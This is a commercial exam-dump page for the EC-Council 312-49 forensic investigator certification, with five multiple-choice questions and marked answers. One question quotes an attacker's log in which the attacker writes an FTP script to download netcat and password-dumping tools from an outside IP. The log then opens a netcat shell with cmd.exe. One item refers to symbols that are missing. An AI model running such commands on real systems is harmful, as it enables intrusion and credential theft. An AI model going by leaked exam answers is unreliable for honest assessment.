



312-49^{Q&As}

ECCouncil Computer Hacking Forensic Investigator (V9)

Pass EC-COUNCIL 312-49 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

<https://www.geekcert.com/312-49.html>

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

- ⚙️ **Instant Download** After Purchase
- ⚙️ **100% Money Back** Guarantee
- ⚙️ **365 Days** Free Update
- ⚙️ **800,000+** Satisfied Customers





QUESTION 1

An investigator is analyzing a checkpoint firewall log and comes across symbols. What type of log is he looking at?



- A. Security event was monitored but not stopped
- B. Malicious URL detected
- C. An email marked as potential spam
- D. Connection rejected

Correct Answer: C

QUESTION 2

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a

RDS query which results in the commands run as shown below.

```
"cmd1.exe /c open 213.116.251.162 >>ftpcom"
```

```
"cmd1.exe /c echo johna2k >>ftpcom"
```

```
"cmd1.exe /c echo haxedj00 >>ftpcom"
```

```
"cmd1.exe /c echo get nc.exe >>ftpcom"
```

```
"cmd1.exe /c echo get pdump.exe >>ftpcom"
```

```
"cmd1.exe /c echo get samdump.dll >>ftpcom"
```

```
"cmd1.exe /c echo quit >>ftpcom"
```

```
"cmd1.exe /c ftp -s:ftpcom"
```

```
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
```

What can you infer from the exploit given?

- A. It is a local exploit where the attacker logs in using username johna2k



- B. There are two attackers on the system - johna2k and haxedj00
- C. The attack is a remote exploit and the hacker downloads three files
- D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

QUESTION 3

Where are files temporarily written in Unix when printing?

- A. /usr/spool
- B. /var/print
- C. /spool
- D. /var/spool

Correct Answer: D

QUESTION 4

The MD5 program is used to:

- A. wipe magnetic media before recycling it
- B. make directories on an evidence disk
- C. view graphics files on an evidence drive
- D. verify that a disk is not altered when you examine it

Correct Answer: D

QUESTION 5

A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use?

- A. Blu-Ray single-layer
- B. HD-DVD
- C. Blu-Ray dual-layer



D. DVD-18

Correct Answer: C

[Latest 312-49 Dumps](#)

[312-49 PDF Dumps](#)

[312-49 Practice Test](#)